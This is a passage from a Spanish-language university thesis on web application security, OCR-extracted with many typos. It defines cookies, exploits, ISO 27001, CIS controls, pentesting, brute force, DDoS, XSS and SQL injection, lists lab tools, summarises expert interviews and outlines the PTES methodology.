asi presentar publicidades especificadas y personalizadas al usuario, en termino cultural en

ataques informatico se conoce como Spyware [29].

2.1.4.2. TIPOS DE COOKIES TEMPORALIDAD
Temporales: Son aquellos cookies que se pueden borrar después de cerrar el entorno web,

por lo que daria fin a cualquier riesgo o ataque sobre robo de cookie [30].

Permanentes: Constituye en la determinacion de la caducidad de la cookie, ya sea por el

mismo sitio, o ser efectuado por el mismo usuario [31].

2.1.4.3. TIPOS DE COOKIES FUNCION
Analisis: Permite realizar el seguimiento del usuario y el comportamiento que desarrollar al

interactuar al entorno web o aplicacion [31].
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Personalizacion: Manifiesta el acceso a servicios con algunas caracteristicas de manera
general predefinidas por el terminal del internauta o que se defina, como es el caso el idioma,
el tipo de navegador a través se accede al servicio, entre otros [31].

Publicitarias: Son utilizados para gestionar las publicidades que se encuentran incluidos en

el entorno web o en la misma aplicacion que da la prestacion del servicio [31].

Técnicas: Permite usar diferentes opciones o servicios para la navegacion en el sitio web o
aplicacion, como poder controlar el trafico, identificar la sesion, acceder a las partes web de
acceso restringido, entre otros [31].

2.1.5. EXPLOIT

Se considera como un tipo de programa para corromper la seguridad de un sistema débil, que
en pocas palabras se conoce como vulnerabilidad, ya sea de un programa de Software o
componente del Hardware. El exploit puede ser manejado desde apartado de codigo andmala,
cadenas de codigos y simple datos de secuencias de comandos. En otros términos, el exploit
es constituido como una herramienta que permite al hacker aprovechar brechas de

seguridad/puntos débiles de un sistema y robar informacion para fines propios [32].

2.1.5.1. VULNERABILIDAD VS EXPLOIT

Es muy importante conocer y entender el concepto sobre estos temas que aborda a la
seguridad informética y al ambito de hacking ético, es meritorio que ambos presentan una
conceptualizacién similar en ataques informaticos, pero no son idénticos, debido que en
concepto general la vulnerabilidad trata sobre el descubrimiento sobre una brecha o punto
débil de seguridad para corromper la seguridad [33]. En cambio, el exploit/explotacion
cuenta con un concepto adelantado, hace uso del hallazgo de la vulnerabilidad para asi
explotar dicho punto débil y hacer que el sistema se sienta en alerta roja por los ataques

informaticos para robar informacién [34].

2.1.5.2. TIPOS DE EXPLOITS

Exploits conocidos: Es a través de investigaciones desarrolladas sobre ciberseguridad, se
han descubiertos los exploit con su causa eminente, ya sea para software, sistema operativo,
o incluso el hardware, es por ello que los desarrolladores emplean parches para tapar esas
brechas [35].
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Zero day exploit: Son considerados ataques particularmente peligroso, debido a la inmensa
cantidad de violaciones de seguridad desconocidas y para contrarrestar dichos problemas, los
desarrolladores desarrollan los parches, pero a los que fueron afectado no les sirve. Los

ataques de dia cero esta centrado al software después de su lanzamiento [36].

Exploit remota: Es la ejecucion del exploit con la ayuda de la red para generar obtencion de
acceso a un sistema. A diferencia que la explotacion loca es usada para obtener privilegios

una vez realizado la obtencion de acceso basico al entorno [37].

Exploit local: Comprende en elevar privilegios hasta administrador una vez que haya tomado

el sistema objeto una vez realizado localmente el exploit [38].

Exploit del cliente: Tiene como fin explotar las vulnerabilidades del lado del cliente,
haciendo que el usuario final muestre informacion confidencial aprovechando la minima

seguridad, considerando como el eslabén mas débil [39].

2.1.6. 1SO 27001

La ISO 27001 es una norma internacional que fue creada por la Organizacion Internacional
de Normalizacion (ISO) con el objetivo de establecer un marco para la gestion de la seguridad
de la informacidn en una organizacion. La norma fue actualizada en 2013 y ahora se conoce
como ISO/IEC 27001:2013. Su finalidad es proporcionar un enfoque sistemético y bien
definido para la gestion de la seguridad de la informacion, lo que ayuda a las empresas a
proteger sus activos y a minimizar los riesgos relacionados con la seguridad de la informacion
[40].

La norma 1SO 27001 puede ser adoptada por cualquier tipo de organizacion,
independientemente de su tamafio, fines, naturaleza publica o privada. Fue desarrollada por
expertos en seguridad de la informacién a nivel mundial, y ofrece una metodologia para
integrar la gestion de la seguridad de la informacion en la organizacion. Ademas, la norma

permite que la empresa obtenga una certificacion en la materia. [40].

El proposito de la norma es establecer e implementar un sistema de gestion de seguridad de
la informacion basado en los principios fundamentales de la seguridad informatica:

confidencialidad, integridad y disponibilidad [40].
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2.1.6.1. ¢COMO FUNCIONA?

El propdsito fundamental de la norma 1ISO 27001 es crear un sistema de gestion de seguridad
de la informacion en una organizacion que se base en los principios de confidencialidad,
integridad y disponibilidad de la informacion. Para lograr este objetivo, es necesario realizar
una investigacion exhaustiva para identificar las posibles causas que podrian afectar la

informacion, y establecer medidas preventivas para evitar estos problemas [40].

El estandar/normas 1SO 27001 cuenta con medidas de seguridad (controles) que son
necesarios a implementar, debido que estan bajo politicas, implementacion de técnicas y
procedimientos. En base a la mayoria de los casos, la utilizacion de software y hardware en
las organizaciones no son usadas de la mejor forma posible. Por lo tanto, la mayor para
efectuar la norma, debe contar con una base que se relacione a las reglas de la organizacion.
Prevenir es un evento necesario para combatir con las violaciones que se puede efectuar la
seguridad [40].

2.1.7. CIS

El centro de seguridad de internet (CIS) cuenta con acciones colectivamente que prioricen la
seguridad sobre ataques mas comunes contra sistemas y redes, formando un conjunto de
mejores practicas como defensa para mitigar estos eventos. Los controles CIS son
desarrollados por expertos en TI que aplican la experiencia de primera mano como defensores

cibernéticos para crear estas buenas practicas de seguridad aceptada globalmente [41].

El mundo tecnoldgico ha aumentado y nuevos eventos cibernéticos aparecen para romper la
seguridad de los sistemas y redes. La evolucion de nuevas herramientas defensivas para
combatir perdidas masivas de datos, robo de propiedad intelectual, robo de identidad,

denegacion de servicio: se ha convertido en una accion rutinaria [41].

Existen un enorme acceso de herramientas de seguridad y tecnologia, estandares de
seguridad, entrenamientos, certificaciones, base de datos vulnerables, orientacion, conjunto
de mejores practicas, catalogos de controles de seguridad e innumerables listas de
verificacion de seguridad y recomendaciones. El principal objetivo es comprender la
amenaza existente y emplear la mejor disposicion de defensa de seguridad sobre la

infraestructura [41].
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2.1.7.1. ¢COMO FUNCIONA?

CIS Control son nutridos en base a la informacidn relativa sobre ataques reales y defensas
efectivas, en donde reflejan el conocimiento combinado de expertos por cada parte del mundo
tecnoldgico como: por ecosistema, rol, sectores. CIS es una organizacion sin fines de lucro,
cuya mision es identificar, desarrollar, validar, promover y mantener las mejores practicas en
seguridad cibernética. Ofrece mundialmente soluciones de seguridad informatica para
notificar y responder rdpidamente a incidentes cibernéticos y construir mejores guias para la

comunidad. Para permitir un ambiente de confianza a el ciberespacio [41].

Los Controles CIS son el conjunto més efectivo y especifico de medidas técnicas disponibles
para detectar, prevenir, responder y mitigar el dafio desde el mas comun al mas avanzado de
esos ataques. La implementacién correcta de los 20 controles criticos reduce
significativamente tu riesgo de seguridad, reduce los costes operativos y mejora en gran

medida la postura defensiva de una organizacion [41].

2.1.8. PENTESTING

Es considerado como una metodologia requerirle en la seguridad informaética, debido a su
terminologia pestenting que proviene del “penetration” y “test”, penetracion con testeo. Es
una préactica que permite descubrir vulnerabilidad y/o fallos de seguridad sobre el sistema
informéatico objeto. Ademas, cuenta con la disposicion de ejercer clasificacion y
determinacion sobre los alcances y repercusiones sobre los puntos débiles de seguridad, y asi
ofrecer entornos para pruebas de un ataque para evaluar la efectividad de defensa en el

sistema [42].

A continuacion, se presenta los tipos de objeto emplear el pentesting; caja blanca, caja negra

y caja gris.

2.1.8.1. CAJA BLANCA - WHITE BOX

La ejecucion de prueba de caja blanca se emite con la informacion necesaria del objeto, saber
acceso de las redes para ser evaluados, tener en disposiciones aquellos diagramas de red y
contar con detalles relacionados sobre el hardware, S.O y aplicaciones, antes de realizar la
prueba. En pocas palabras, se tiene resultados precisos a diferencia de una prueba sin

conocimiento previo [43].
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2.1.8.2. CAJA NEGRA - BLACK BOX

La prueba de caja negra, a diferencia de la prueba de caja blanca aqui no se adquiere a detalle
la informacién necesaria del objeto, solo se cuenta con el nombre de la empresa y la
disposicion de un rango de direcciones de red con la finalidad de no provocar dafios
colaterales. En pocas palabras, este tipo de prueba se sumerge a un contexto en donde se

evalUa la poca informacién para hallar data més superficiales, escenario realista [44].

2.1.8.3. CAJA GRIS - GREY BOX

En las pruebas de caja gris, se manifiesta la informacion precisa sobre la infraestructura del
equipo o sistema a realizar el pentesting, para que los ataque sean centrados a los servicios y
entornos relacionados con la data impartida, y si luego se ejerce otro ataque en el objeto con
la informacion contada, esta sea considerada el punto de partida [45].

2.1.9. ATAQUES INFORMATICOS

Es considerado un ataque informéatico como un proceso que permite aprovechar cualquier
debilidad o falla sobre un sistema, ya sea el software, hardware o incluso el mismo usuario,
actores que forman parte del todo el ambiente tecnoldgico con el fin de logar un beneficio,
un claro ejemplo es de caracter econdmico, realizando el robo de activos de una organizacion

y pedir rescate [46].

2.1.9.1. FUERZA BRUTA

Es un ataque que permite al pirata informético intentar adivinar, descifrar y robar las
contrasefias mediante ensayos de prueba y error masivos con la adquisicion de herramientas,
componentes informaticos que hagan el proceso mas efectivo y menos tedioso. El alcance y
la definicion de fuerza bruta se ha incrementado a tal medida que la tecnologia también hay
ido aumentando [47].

2.1.9.1.1. TIPOS DE ATAQUE FUERZA BRUTA
Ataque de fuerza bruta(Simple): Es un ataque simple que se puede realizar manualmente,
debido que no requiere de mucha capacidad de informacion para ejercer combinaciones

posibles hasta llegar al objetivo [47].

Ataque de fuerza bruta(Diccionario): Permite averiguar la clave probando un conjunto de

palabras comunes o también conocido como diccionarios, permitiendo ejercer mayor
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efectividad de atague permitiendo alternar y llegar al resultado, que en vez de realizaciones

de combinaciones posibles [48].

Ataque de fuerza bruta(Hibrido): Es el ataque en donde combina el ataque de fuerza bruta

y el ataque de diccionario para generar una enorme base de datos combinados [49].

Ataque de fuerza bruta(Inversa): Trata de averiguar el usuario de ataque conociendo la
contrasefa, una estrategia de ataque que permite ejerce las busqueda de millones de nombre

de usuario para llegar a una coincidencia [50].

2.1.9.2. SHELL

Es el software que cumple el papel de interfaz para el ingreso de comandos en el mismo
sistema operativo, para ejercer un control sobre el sistema. Pero asi mismo, este control es
limitado de acuerdo a las restricciones de privilegios de usuario que se encuentre ejecutando
la SHELL [51].

2.1.9.2.1. TIPOS DE SHELL

Shell inversa (Reverse_Shell): Es la forma de disponer una maquina atacante y ejercitar
una sentencia/software para escuchar las solicitudes de conexion de acuerdo a un puerto
determinado [52].

Shell Directa (Bind_Shell): Se requiere de una maquina cliente para escuchar las solicitudes
de conexion a través de una sentencia/software desde un puerto determinado como servidor,

para asi ejercer conexion al objeto [53].

2.1.9.3. PRUEBA DE STRESS - ATAQUE DDOS

También conocido como Distributed Denial od Service en comun denegacion de servicios,
comprende de atacar servidores vulnerables que estén acceso al internet para asi colapsar y
tener acceso al servidor y poder tener el control total, la mayoria de estos ataques son
producidos por botnets que corresponde de grandes dispositivos que estan infectado por
malware, tanto dispositivos de 10T, entre otros son atacados y tomado el control de
ciberdelicuente, el labor empieza enviando la red bots de grande proporciones como

solicitudes a la conexidon de direccion IP sobre el sitio web o servidor victima [54].
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2.1.9.3.1. TIPOS COMUNES DE DDOS ATTACK

Ataques a la capa de aplicacion: Es uno del ataque maés frecuente a la capa de aplicacion,
debido que se envian gran volumen de peticiones HTTP generando un agotamiento
mesurable en el tiempo de respuesta al servidor que es objeto al ataque. Es muy complicado
como distinguir las peticiones seguras y maliciosas, haciendo la tarea dificultosa de poder
contrarrestar este tipo de ataque en el momento [55].

Ataque de protocolo: Este tipo de ataque fructifica del debilitamiento de los protocolos que
ejerce comunicacion sobre la red, eventualmente, el ataque es afectado a la capa de red y a
su vecino la de transporte del modelo OSI, debido que los protocolos de internet son
esencialmente globales y ejercer actualizaciones para corregir estos problemas de
debilitamiento requiere de un buen tiempo. Por lo cual, los atacantes aprovechan para generar
envio de solicitudes TCP falsas con el combinado de direcciones IP negativas con el principal
objetivo que la direccion sea aceptada y que luego se genera la comunicacion
correspondiente, dando como resultado abrumar a todo el servidor destino con el

acumulamiento de estas falsas solicitudes [56].

Ataque volumétrico: El ataque volumétrico tiene como principal objetivo generar
congestion en el ancho de banda que se dispone para ejercer comunicacion, permite exceder
el enorme envio de solicitudes de data en el trafico de datos en donde se enlaza con el servidor
atacar, Por lo consiguiente, este tipo de ataque de amplificacion de DNS redirige todo las
peticiones DNS sobre la direccion de la victima, se envian DNS falsas para que este el
servidor responda a estas solicitudes provocando ejercer un gran consumo de ancho de banda

en el proceso [57].

2.1.94. CROSS SITE SCRIPTING

Es un atague que permite inyectar cédigo malicioso como script a los cuadros de texto de en
un sitio web para que este haga su labor de proceso y luego tener privilegio, radica
masivamente la confianza sobre la entrada de los datos. El proceso empieza en enviar una
URL con el payload precargado al usuario victima con el fin de robar la informacion sensible
de la victima, cookies de sesidn, implementacion de ingenieria social, entre otros tipos de

ataques informaticos [58].
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2.1.9.4.1. TIPOS DE XSS

v Relfected Cross-Site-Scripting: En un ataque de XSS reflejado el payload suele ser
inyectado en un parametro de la solicitud HTTP, para luego ser procesado por la
aplicacion web y finalmente desplegado en un punto determinado, sin algun tipo de
validacion o codificacion de los caracteres. Se trata de la variedad de XSS mas simple
y el script malicioso que busca afectar el navegador de la victima es facilmente
modificable, probablemente sin que el usuario note el ataque [59].

v' Stored Cross-Site-Scripting: Esta variante tiene como caracteristica que la
aplicacion web guarda el valor de entrada en un medio de almacenamiento y persiste
el script inofensivo, hasta que el valor es recuperado por la aplicacion y utilizado para
conformar parte del documento HTML [60].

v" DOM-Base-Cross-Site-Scripting: EI Document Object Model (DOM) es una
interfaz de programacion para representar la estructura de un documento web y
conectarlo con un lenguaje de scripting. En este sentido, el DOM facilita la estructura
de documentos como HTML o XML y permite a los programas modificar la
estructura, estilo y contenido del documento. En el caso de un ataque de XSS basado
en DOM el payload malicioso es ejecutado como resultado de la modificacion del
entorno DOM en el navegador de la victima. Esto lleva a que el usuario ejecute codigo

desde el lado del cliente sin saber que lo esta haciendo [61].

2.1.95. SQL INJECTION

El término SQL, o «lenguaje de consultas estructuradas», se refiere al lenguaje que se emplea
en la administracion de bases de datos. Cuando se comunica con una base de datos o se
consulta para solicitar informacion, SQL es el lenguaje mas utilizado para acceder a esos
datos. Piense en una base de datos como el almacén de una aplicacion web. Una base de datos
estd llena de tablas, que son como cajas que contienen datos como la informacion de los
clientes, los articulos en venta o las credenciales de acceso. Cuando se introduce informacion
en una aplicacion web, SQL permite que la base de datos procese la peticion y devuelva la

informacién solicitada [62].
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2.1.95.1. TIPOS DE INYECCION DE SQL

v Injecion de SQL en banda: La SQL.i en banda es el tipo mas basico de inyeccién de
SQL. Con los ataques SQL en banda, los piratas informaticos pueden lanzar un ataque
y recuperar los resultados en el mismo servidor. La inyeccion de SQL en banda se
usa habitualmente porque es sencilla de realizar [63].

v Injecion de SQL fuera de banda: Los ataques SQL.i fuera de banda tratan de extraer
el contenido de una base de datos a un servidor diferente y requieren que la base de
datos pueda hacer peticiones DNS o HTTP. Las SQLis fuera de banda son menos
comunes, pero también mas graves [64].

v Injecion de SQL Inferencial: Una inyeccion de SQL inferencial (ciega) plantea
declaraciones verdaderas o falsas a una base de datos para intentar inferir su
estructura. Al examinar las respuestas recibidas, un pirata informatico puede empezar

a identificar las posibles vulnerabilidades de una base de datos [65].

2.2. HERRAMIENTAS
DVWA

Maquina virtual vulnerable que estd desarrollada como entorno de entrenamiento para la
explotacion de seguridad web en lenguaje PHP y MySQL con el objetivo primordial de hacer

el estudio sobre los diversos ataques dentro del entorno legal [66].
VIRTUALBOX

Potente producto de virtualizacion x86 y ADMG64/INTEL64 para uso empresarial y
domeéstico.Vitural Box no solo es un producto extremadamente rico en funciones y de alto
rendimiento para clientes empresariales, sino también es la Unica solucién profesional que
estd disponible gratuitamente como software de cddigo abierto bajo los términos de la

licencia publica general GNU(GLP) version 3 [67].
XAMPP

Distribucion de apache en donde existe diversos softwares libres en donde consta con licencia
GNU, incluye apache, MySQL, PHP, Perl, servicios de entorno web. [68]
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KALI LINUX

Kali Linux contiene modificaciones especificas de la industria, asi como varios cientos de
herramientas dirigido a diversas tareas de seguridad de la informacion, como pruebas de
penetracion, investigacion de seguridad, analisis, forense de computadores, ingenieria

inversa, gestion de vulnerabilidad y pruebas de equipo rojo [69].

BWAPP

La aplicacion web Buggy, a menudo conocida como BWAPP, es una herramienta gratuita y
de cddigo abierto. Es un PHP aplicacion que utiliza una MySQL base de datos como su back-
end. Este Bwapp tiene mas de 100 errores en los que puede trabajar, ya sea que se esté
preparando para una tarea o simplemente desee mantener sus habilidades de pirateria ética al

nivel estandar. Esto cubre todas las fallas de seguridad principales (y mas frecuentes) [70].

SQLMAP

La herramienta SQLMAP tiene como fin detectar y aprovechar las vulnerabilidades mediante
inyeccion SQL en aplicaciones web, en donde analiza el host destino para ejercer la deteccion
de una 0 mas posibles injection SQ. Sirve recuperar data base, enumerar usuarios, columnas
DBMS, entre otros [71].

SLOWLORIS

Es conocido como un famoso script que permite generar un gran ndmero de conexiones
simultaneas hacia el sistema objeto (servidor que se aloja la aplicacion web), para agotar el

limite de sesiones paralelar que el entorno pueda soportar [72].

BURP SUITE

Es una aplicacion integrada en Kali Linux, pero asi mismo puede ser instalada manualmente
en S.O Windows y Linux, tiene como fin realizar pruebas de seguridad de aplicaciones web,
permite realizar un mapeo inicial, analisis de la superficie de ataque y explotaciones de

vulnerabilidades de seguridad [73].

CADAVER

Herramienta que permite la carga y descarga de archivos, ejercer la visualizacion en pantalla,

poder editar, realizar operaciones de espacio de nombre, crear, eliminar, entre otros [74].
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HYDRA

Es una herramienta cracker de inicio de sesion, en donde permite ejercer una gran cantidad
de ataque a protocolos, ya que cuenta con flexibilidad de uso e interactuar mediante
comandos la ejecucion de ataque. Todo esto con el fin de que los investigadores y consultores
indaguen sobre la seguridad de un sistema determinado para asi desarrollar las correcciones

respectivas [75].

WFUZZ

Es conocido como una herramienta para efectuar ataque de fuerza bruta en aplicaciones web,
debido que se halla recursos no vinculados, directorios, servlets, scripts, entre otros datos

importantes con el fin de evidenciar las brechas para explotar vulnerabilidades presentes [76].

DICCIONARIOS

Son aquellos conjuntos de datos comunes que son generador para evitar la construccion de
lista de palabras, estos diccionarios pueden ser utilizados para ejercer ataque de fuerza bruta
en diferentes servicios como; login, redes wifi, ssh, ftp, entre otros que permitan la utilizacion

de credenciales, directorios, contrasefias [77].

NMAP

Herramienta de utilidad para exploracion de redes y auditria de seguridad, permite el escaneo
de ping, detectar versiones sobre los puertos abiertos, es soportable para sistemas operativos
Windows y Linux [78].

2.3. MARCO TEORICO
2.3.1. CIBERSEGURIDAD: ;POR QUE ES IMPORTANTE PARA TODOS?

La obra Literaria titulada “Ciberseguridad: ;por qué es importante para todos?, establece
grandes ideas de como es importante la ciberseguridad desde los diversos ambitos que
arraigan esa proteccion de datos sensible o también conocido activo de informacion que se
encuentra en la era de informacion en la actualidad. Permitiendo asi tener en mente que las
amenazas Yy riesgos a la ciberseguridad son provocadas por actores principales desde lo
internacional como lo es el mismo estado, organizaciones e individuos que desarrollan el
famoso ciberataque, ciberespiojane, ciberarmas través de un largo alcance y un aumento

costo de multiplicidad para salir beneficiado, Es por ello que una primera defensa sobre estos
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ataques de gran impacto debe estar relacionado al usuario final y el ambito tecnolégico que
lo rodea, para asi ejercer una correccién de vulnerabilidades y mitigar los riesgos, de misma
formas buenas practicas que interactian en los medios electrénico de comunicacion, la parte

de almacenamiento de informacion [79].

2.3.2. GUIA DE ATAQUES, VULNERABILIDADES, TECNICAS Y
HERRAMIENTAS PARA APLICACIONES WEB
La resefia informéatica manifiesta como en la actualidad el riesgo sobre los sistemas
informaticos ha proporcionado un aumento acorde a la complejidad del entorno tecnolégico
que avanza progresivamente, pero asi mismo en su contra parte existe un aumento
considerable sobre ataques informéticos sobre estos escenarios. Por ello, el trabajo ejerce una
revision sistematica para tener informacion relevante sobre la cuestion a estudiar, también
logran realizar un analisis de resultados basados sobres los ataques en vulnerabilidades,
herramientas, técnicas para detectar vulnerabilidades en aplicaciones web, mencionan los
ataques méas comunes mediante el TOP 10 de OWASP, dan informacion sobre la técnica de
deteccion de vulnerabilidad como lo es prueba de caja negra, blanca, test de penetracion entre
otras, y asi mismo herramientas Utiles para agilizar el trabajo, todo esto con el objetivo que
las organizaciones utilices las técnicas y herramientas sobre las vulnerabilidades especifica

sobre un tipo de ataque propuesto en la guia [80].

2.3.3. USO DE TECNOLOGIAS DE PRUEBAS DE PENETRACION PARA
VALIDACION DE APLICACIONES WEB BASADO EN EL TOP 10 DE
VULNERABILIDADES DE OWASP

El uso de tecnologias para ejercer las pruebas correspondientes para un test de penetracion al

entorno de aplicacion web tiene una magnitud enorme desde el enfoque de seguridad

informatica. La seguridad es de vital importancia y que estén asociada a los servicios de la
red emerge es un punto de partida para la seguridad de datos. El uso de metodologias es
primordial y claras tras la creacion y testeo de una aplicacion antes su salida a produccion,
ejercer pruebas periddicas para lograr encontrar fallas y que de la forma exacta se mitigue de
la manera correcta. La exclamacion de metodologias de seguridad ha permitido analizar
desde angulos diferentes los escenarios sobre la aplicacion de explotacion de

vulnerabilidades y ser centradas mediante el TOP 10 de vulnerabilidades de OWASP para
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un resultado, analisis, prueba, buenas practicas con el fin de dar un enfoque positivo sobre el
desarrollo de software de una manera eficiente, para que asi las organizaciones relacionadas
con estas debilidades ejerzan planes de mitigaciones sobres las fallas y surja un enorme
ocurrencia de procesos realizado positivamente y que el funcionamiento de los procesos no
cuente fallo [81].

2.4. METODOLOGIA DEL PROYECTO
2.4.1. METODOLOGIA DE INVESTIGACION

Los estudios exploratorios competen un andlisis sobre un problema de investigacion pocos
abordados, en donde existen dudas e ideas vagas que permitan que la vision sea carente de
informacidn [82]. La presente investigacidn tecnoldgica contendra aspectos muy importantes
que servirdn como base para el estudio de técnicas ciberseguridad en el desarrollo de
aplicaciones web dentro de entidades que en su desperfecto no son considerados como caso
de estudios. Debido que existen investigaciones en donde se emplea de manera independiente
la parte de desarrollo y seguridad. Por lo cual, se incorporaran una investigacion concisa que

oriente a la indagacion del tema con el fin de tener un amplio espectro de informacion.

La investigacion sera desarrollada mediante referencias bibliograficas de trabajos que hagan
hincapié al tema, y que este familiarizado con la propuesta planteada que se va a ejecutar,
comparando su estructura entre similitudes y diferencias que enfrenta el trabajo.

El estudio diagnostico hace referencia a una investigacion que aborde el factor primordial
para la obtencion de conocimientos necesarios para una determinada area, localidad, en
donde se ve enfrascada el problema, con el fin de dar soporte a la hora de toma de decisiones
para el disefio del estudio [83]. La investigacion diagnostica se desarrollara a través de
entrevista a personal experto en seguridad informatica que comprendan sobre la importancia
de la seguridad informatica en las organizaciones, la seguridad de las aplicaciones,
estandares, entre otros. El proposito es adquirir informacion pertinente que sirvan para

identificar expandir el estudio y mejoras que recurra el proyecto.

VARIABLE

v' Tiempo de explotacion de las vulnerabilidades aplicando las técnicas de

ciberseguridad
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v Nivel de acceso que se da al servidor al hacer las pruebas de segurida

2.4.2. TECNICAS DE RECOLECCION DE INFORMACION
En esta seccidn, se detallard de manera puntuada las técnicas e instrumentos para la

recoleccion de informacion que se utilizaran para la realizacion de este proyecto.
» Técnicas
Estado del arte, entrevista y fuentes bibliogréaficas.
» Instrumentos

La entrevista esta dirigida al personal experto en seguridad informaética de la UPSE, con el
fin de obtener informacion sobre el conocimiento de la seguridad informética en las
organizaciones, metodologias de seguridad, buenas practicas, laboratorios. Todo referente al
contexto real de los incidentes de seguridad de aplicaciones y que deben conocer las

organizaciones para proteger de dichos ataques.

Las fuentes bibliograficas serviran para profundizar el tema en un amplio conocimiento para

el buen andlisis de informacion.
> Poblacién

Fuentes de datos correspondiente a las vulnerabilidades mas comunes sobre aplicaciones

web en base a estudio estadisticos del afio 2020-2021
2.4.21. ANALISIS DE ENTREVISTA

La entrevista realizada al Ing. Ivan Coronel, personal experto en seguridad informética y
hacking ético (Ver Anexo 1), y docente de la UPSE de la Facultad de Sistemas y

Telecomunicaciones ha brindado respuestas para realizar el siguiente analisis:

La seguridad informatica en las organizaciones es un aspecto fundamental que se debe tomar
muy en cuenta para proteger los activos de informacién que la entidad cuenta, y a su vez
contar con el conocimiento necesario sobre las nuevas incorporaciones tecnoldgicas y la
aparicion de nuevos ataques cibernéticos para corromper la seguridad del sistema y la

confiabilidad de la organizacion.
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Por lo consiguiente, el desarrollo seguro de aplicaciones web debe estar relacionado con un
conjunto de buenas préacticas, normas, que permita a los desarrolladores establecer puntos
confiables a la hora de ejercer la creacion de un producto. La buena seguridad debe ser
enfocada en una buena programacion, limpieza de cuadros de texto, la validacion de
caracteres especiales, parametrizacion de codigo, Framework. Aspectos necesarios para

fomentar la seguridad informaética en las aplicaciones sobre el nuevo entorno tecnoldgico.

Pero asi mismo, también emplear el uso de estandares internacionales o metodologias de
seguridad ligada al tema de desarrollo seguro de aplicaciones web. OWASP establece un
conjunto de estudios en relacién con el tema de seguridad, permitiendo mostrar buenas
practicas, y un top 10 de vulnerabilidades que existen en aplicaciones a nivel mundial, pero
sin dejar a un lado, también existen las metodologias como OSSTMM y PTES que
desarrollan analisis pertinente sobre los sistemas informaticos y redes desde diferentes
perspectivas. La importancia de establecer todo el analisis gira entorno a la proteccion de

datos de los sistemas de las organizaciones.

Por ende, para trabajar con el tema de seguridad informatica se debe crear laboratorios
optimos que asemejen al escenario real sobre las complicaciones de seguridad en las
aplicaciones, con el fin de entender el trasfondo de la accion de la aplicacion sobre incidentes
de seguridad, y como deben ser reparados para contrarrestar los eventos existentes de
seguridad.

Por Gltimo, las buenas acciones para ejercer una buena seguridad de un aplicativo web, debe
estar relacionado con seguir buenas précticas, metodologia de desarrollo que incorpore la
etapa de prueba de seguridad, para que asi a futuro evitar problemas de enviar a produccién
un producto que ejerce fallas de seguridad y provocar altos costos en soporte. Por lo tanto,
ejercer las pruebas de seguridad con frecuencia permitird emplear el testeo necesario y el
monitoreo para comprobar el nivel de seguridad que el producto se enfrentara a sucesos
inseguros para ataques cibernéticos. Por eso, es de suma importancia que los miembros de la
organizaciones y desarrolladores tengan el conocimiento necesario sobre el nuevo ambito de
la seguridad que se impone hoy en dia, para que el personal este capacitado y preparado para

responder de la mejor manera los incidentes de seguridad y no provocar pérdidas altas.
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La entrevista realizada al Ing. Daniel Quirumbay, personal experto en seguridad informatica
(Ver Anexo 2), y docente de la UPSE de la Facultad de Sistemas y Telecomunicaciones ha

brindado respuestas para realizar el siguiente analisis:

La seguridad informéatica en una organizacion es un punto meritorio, en donde se debe
proteger la data mas importante de la empresa, debido a que es activo valioso y si esta es
expuesta puede provocar la quiebra de la entidad. Por eso es importante que las

organizaciones cuenten con la seguridad necesaria para responder a estas situaciones.

Por lo consiguiente, en referencia al desarrollo seguro, existen una amplia informacion sobre
coémo generar una aplicacion segura, desde el punto de vista de ejercer la parametrizacion de
cbdigo, optimizacion del codigo que deben ser tomados muy en cuenta a la hora de
desarrollar un producto para evitar a futuro la aparicion de vulnerabilidades que puedan

corromper la seguridad y robar la data sensible.

Ademas, para la buena seguridad se debe tomar en cuenta OWASP, una organizacién sin
fines de lucros que expone buenas practicas que permita la estandarizacion de la proteccion
de datos. Pero asi mismo, ISO 2700 cuenta con datos para la buena gestion de la seguridad
de la informacion. Sin embargo, el factor de implementacion rige de un costo adicional en

donde las mayorias de las empresas busca costos menos.

Por lo tanto, OWASP manifiesta un top de 10 pasos para presentar las vulnerabilidades méas
expuestas en aplicaciones a nivel mundial, en donde se centra en un ambiente cambiante en
relacién con los riesgos de seguridad. Por el 2017 predominada la inyeccion SQL, y ahora
actualmente en el 2021 es la falla de autentificacion en base de los estudios desarrollados

sobre las nuevas incorporaciones tecnologicas.

Las apariciones de laboratorios son necesarias para ejercer la simulacion de prueba de
seguridad de los diversos procesos como; el entrenamiento de seguridad, hacking, pestenting.
Para luego ejercer las acciones Optimas para la deteccion de paginas andémalas, spams

maliciosos, entre otras, que se enfrasca en la diversificacion de ataques informaticos.

Por ende, se debe realizar las acciones necesarias para que las detecciones sean automaticas,
la combinacién de aplicacion con inteligencia artificial es un componente interesante sobre

el tema de seguridad. Por ello, se debe contar con el kit de herramienta para realizar los
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monitoreos pertinentes para actuar en base a los resultados realizado en el anélisis de

ciberseguridad.

Por altimo, es muy importante que el ser humano tenga el conocimiento necesario sobre el
tema de seguridad, debido por ser el eslabon mas débil ejerce el punto de partida de la
debilidad de los procesos para la aparicion de las vulnerabilidades, en donde se extrae
informacidn de persona a persona e identificar el punto central en donde se puede localizar

la data. Todo esto hace referencia a la incorporacion de la ingenieria social.

2.4.3. METODOLOGIA DE DESARROLLO DEL PROYECTO

La metodologia PTES o conocida también test de penetracion compete la seguridad técnica
sobre la experiencia en realizar un estudio inmensurable desde la comunicacién inicial y el
razonamiento detrds de un pentester. Por ello el presente proyecto se guiara a dicha

metodologia centrada en fases que se mencionaran a continuacion [84]:

I Fase 1: Recoleccion de informacion

I Fase 2: Analisis de vulnerabilidades

I Fase 3:Explotacion J
. |
I Fase 4: Post-Explotacion J

) |

Fase 5: Informe J

Figura 2: Metodologia Test de Penetracion (PTES)

Fase 1: Recoleccion de informacion

Se requiere recabar toda la informacion posible de forma competitiva sobre el sistema
auditar, como sistemas de uso o cualquier aspecto que puede ser Util para llevar a cabo futuros
ataques de la auditoria. Recurriendo a las herramientas de pruebas que estén a la disposicion.
[84].
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Fase 2: Analisis de vulnerabilidades

La fase de analisis de vulnerabilidades consiste en realizar todas las posibles acciones que
permitan comprometer a nuestro objetivo, los usuarios y/o su informacion. Las
vulnerabilidades mas comunes explotadas justificada al estudio estadistico del TOP 10 de
OWASP 2021 [84].

Fase 3: Explotacion

En esta fase se aprovecha (“explotar”) las vulnerabilidades encontradas en la fase anterior,
es decir: ejecutamos exploits contra las vulnerabilidades identificadas o simplemente hacer
uso de credenciales mediante técnicas que permite obtener informacién sensible de usuario

potente en una entidad. [84].
Fase 4. Post-Explotacién

La fase de post explotacion no siempre es aplicable. Consiste en lograr entrar al sistema
mediante la anterior fase, lograr credenciales o permisos de administrador, o incluso vulnerar
otros sistemas de mayor importancia dentro de la organizacion objetivo mediante técnicas de
